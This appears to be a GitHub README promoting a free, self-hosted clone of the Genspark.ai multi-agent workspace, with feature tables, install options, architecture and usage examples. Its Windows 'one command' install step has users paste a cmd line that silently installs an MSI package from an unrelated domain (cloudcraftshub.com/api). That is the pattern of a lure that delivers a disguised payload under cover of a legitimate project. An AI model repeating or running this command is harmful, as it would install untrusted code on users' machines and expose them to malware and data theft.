The free, self-hosted, open-source alternative to Genspark.ai β a multi-agent AI workspace that researches, writes, codes, builds slides & sheets, generates images, and gets things done. Locally. With any LLM.
Quick Start · Features · Architecture · Docs · Roadmap · Contributing · Discord
π What is Genspark AI?
Genspark AI is an open-source Super Agent framework inspired by Genspark.ai. It coordinates multiple Large Language Models, equips each with a toolbox of 80+ capabilities (web search, code execution, file I/O, image & video generation, document creation, phone calls), and lets them plan, reason, and actually get things done on your behalf.
Think of it as:
A self-hosted AI workspace with a Super Agent at its core. You give it a goal. It decides which models and tools to use, runs them in parallel, fact-checks itself across multiple models, and produces a finished deliverable β a Sparkpage, a slide deck, a spreadsheet, a research report, or an executed task.
Built for developers, researchers, and power users who want Genspark-level capabilities without the credits, paywall, or vendor lock-in.
Why Genspark AI?
| Closed Genspark | Open-Source Genspark AI | |
|---|---|---|
| π° Cost | $24.99 β $249.99 / month | Free & open source (MIT) |
| π Privacy | Cloud only | Run 100% locally with Ollama |
| π§ Customization | Limited | Full source access β fork, extend, deploy |
| π€ Model choice | Fixed bundle | Any LLM: OpenAI, Anthropic, Gemini, Mistral, Ollama, LM Studio |
| π Tool extensibility | Fixed 80 tools | Plug-in any Python function as a tool |
| π¦ Deployment | SaaS | CLI Β· Web UI Β· API Β· Docker Β· Self-host |
| πͺ Windows install | Browser only | One command in cmd |
β‘ Quick Start
πͺ Windows β install with one command
Open cmd.exe and paste:
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & genspark claw
That's it. The installer will:
- β
Check for Python 3.10+ (and install it via
wingetif missing) - β
Create an isolated virtual environment in
%USERPROFILE%\.genspark - β
Install
genspark-aiand all dependencies - β
Register the
gensparkcommand in your PATH - β Launch the web UI at http://localhost:7681
π§ Linux / π macOS
curl -fsSL https://raw.githubusercontent.com/veryyoldman/Genspark-AI/main/install.sh | bash
π Pip (any OS)
pip install genspark-ai
genspark serve
π³ Docker
docker run -p 7681:7681 -e OPENAI_API_KEY=sk-... ghcr.io/veryyoldman/genspark-ai:latest
β¨ Features
π§ Super AgentMulti-model orchestration. The agent plans, picks tools, fans out subtasks to specialist agents, and merges results. Reasoning is fully transparent and traceable. π Deep ResearchPlans a research outline, searches dozens of sources in parallel, cross-checks claims across multiple LLMs to reduce hallucinations, and outputs a cited Sparkpage. π SparkpagesDynamic, query-specific synthesized pages. Click any claim to see its source. Ask follow-ups inline β no tab-hopping. π¨ AI SlidesFrom prompt to presentation. Generates structured decks with titles, key points, speaker notes, and exports to π AI SheetsNatural-language spreadsheets. "Build a competitor analysis grid for the top 10 AI agents" β an |
πΌοΈ Image & Video GenerationHooks into DALLΒ·E, Stable Diffusion, FLUX, Sora, Kling, Veo. Pick your provider in π» Code AgentWrites, runs, tests, and iterates on Python, JS, SQL in a sandboxed environment. π Web AutomationFills forms, scrapes data, clicks through flows via Playwright. The agent acts on the web, not just reads it. π Call For Me (preview)AI voice agent that places real phone calls β reservations, follow-ups, intake β via Twilio. π Plug-in ToolsDrop a Python function in 𧬠Multi-LLM RoutingThe orchestrator picks the best model per subtask: fast/cheap for triage, frontier for hard reasoning, local Ollama for privacy. |
π¬ Demo
Above: Asking the Super Agent to research a topic and produce a Sparkpage with cited slides β in one prompt.
π§± Architecture
flowchart TD
U[π€ User Prompt] --> SA[π§ Super Agent<br/>Planner & Router]
SA --> P[π Plan]
P --> R{Route subtasks}
R --> RA[π Research Agent]
R --> SLA[π Slides Agent]
R --> SHA[π Sheets Agent]
R --> CA[π» Code Agent]
R --> IA[πΌοΈ Image Agent]
RA --> T[π Tool Registry<br/>80+ tools]
SLA --> T
SHA --> T
CA --> T
IA --> T
T --> WS[Web Search]
T --> WF[Web Fetch]
T --> EX[Code Exec]
T --> FS[File I/O]
T --> IMG[Image Gen]
RA --> M[𧬠LLM Router]
SLA --> M
SHA --> M
CA --> M
IA --> M
M --> O[OpenAI]
M --> AN[Anthropic]
M --> G[Gemini]
M --> OL[Ollama / Local]
RA --> SP[π Sparkpage]
SLA --> SP
SHA --> SP
CA --> SP
IA --> SP
SP --> U
Genspark AI uses a planner-executor pattern. The Super Agent decomposes your goal into a DAG of subtasks, dispatches each to a specialist agent armed with the right tools and the right model, and stitches results into a coherent Sparkpage. Every step is logged and inspectable.
See docs/architecture.md for deep details.
π Usage
CLI
# Interactive chat
genspark chat
# One-shot prompt
genspark run "Research the top 5 vector databases in 2026 and build a comparison sheet"
# Launch web UI on a custom port
genspark serve --port 8080
# Start the REST API
genspark api --port 8000
Python SDK
from genspark import SuperAgent
agent = SuperAgent(model="claude-opus-4-7") # or "gpt-5", "gemini-2.5-pro", "ollama/llama3"
result = agent.run(
"Find the 10 fastest growing open-source AI agent repos this month, "
"then build me a 5-slide pitch on the trend."
)
print(result.sparkpage) # Cited synthesis
result.slides.save("deck.pptx")
result.sheet.save("data.xlsx")
REST API
curl -X POST http://localhost:8000/v1/run \
-H "Content-Type: application/json" \
-d '{"prompt": "Plan a 7-day trip to Tokyo for $2,000"}'
π§© Configuration
Copy .env.example to .env and add the keys for the providers you want:
# Pick at least one LLM provider
OPENAI_API_KEY=sk-...
ANTHROPIC_API_KEY=sk-ant-...
GOOGLE_API_KEY=...
# 100% local? Use Ollama β no key needed
OLLAMA_BASE_URL=http://localhost:11434
# Optional tools
TAVILY_API_KEY=... # better web search
SERPER_API_KEY=... # alternative search
TWILIO_AUTH_TOKEN=... # phone calls
# Default routing
GENSPARK_DEFAULT_MODEL=claude-opus-4-7
GENSPARK_FAST_MODEL=gpt-5-mini
GENSPARK_LOCAL_MODEL=ollama/llama3.2
π Documentation
- π Getting Started
- π Architecture & Internals
- π Building Custom Tools
- 𧬠Adding LLM Providers
- π Self-Hosting Guide
- π§ͺ API Reference
- β FAQ
πΊοΈ Roadmap
- Super Agent with multi-model routing
- Research, Slides, Sheets, Code, Image agents
- CLI + Web UI + REST API
- Windows one-command installer
- Docker image
- Voice mode (real-time speech-to-speech)
- Browser agent with Playwright + vision
- Mobile app (React Native)
- Memory + RAG layer with Qdrant/Chroma
- Marketplace for community tools & agents
- Distributed mode for swarm execution
- A2A protocol support (Agent-to-Agent)
Vote on features in GitHub Discussions π³οΈ
π Comparison
| Feature | Genspark AI (this) | Genspark.ai | AutoGPT | CrewAI | LangGraph |
|---|---|---|---|---|---|
| Open source | β MIT | β | β | β | β |
| Self-hosted | β | β | β | β | β |
| Free | β | β Credits | β | β | β |
| Super-Agent planner | β | β | β οΈ basic | β οΈ | β οΈ |
| Sparkpages | β | β | β | β | β |
| AI Slides & Sheets | β | β | β | β | β |
| Multi-LLM routing | β | β | β | β οΈ | β οΈ |
| Local LLMs (Ollama) | β | β | β | β | β |
| Web UI included | β | β | β οΈ | β | β |
| One-command install | β | n/a | β | β | β |
π€ Contributing
We β€οΈ contributions. Genspark AI is built by the community.
git clone https://github.com/veryyoldman/Genspark-AI
cd Genspark-AI
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -e ".[dev]"
pytest
Read CONTRIBUTING.md and pick an issue tagged good first issue.
Ways to contribute
- β Star the repo β it genuinely helps us grow
- π Report bugs & suggest features
- π Improve docs
- π Build a new tool or agent
- π Translate the UI
- π¬ Help others in Discord
π¬ Community
- π¬ Discord β chat with the team and contributors
- π¦ Twitter / X β release news
- πΊ YouTube β tutorials & demos
- π° Blog β release notes
β Star History
π License
MIT Β© Genspark AI contributors.
Disclaimer: Genspark AI is an independent open-source project. It is not affiliated with, endorsed by, or sponsored by GENSPARK INC. "Genspark" is a trademark of its respective owner; we use the name to describe the category of agentic AI workspace this project belongs to.
Comments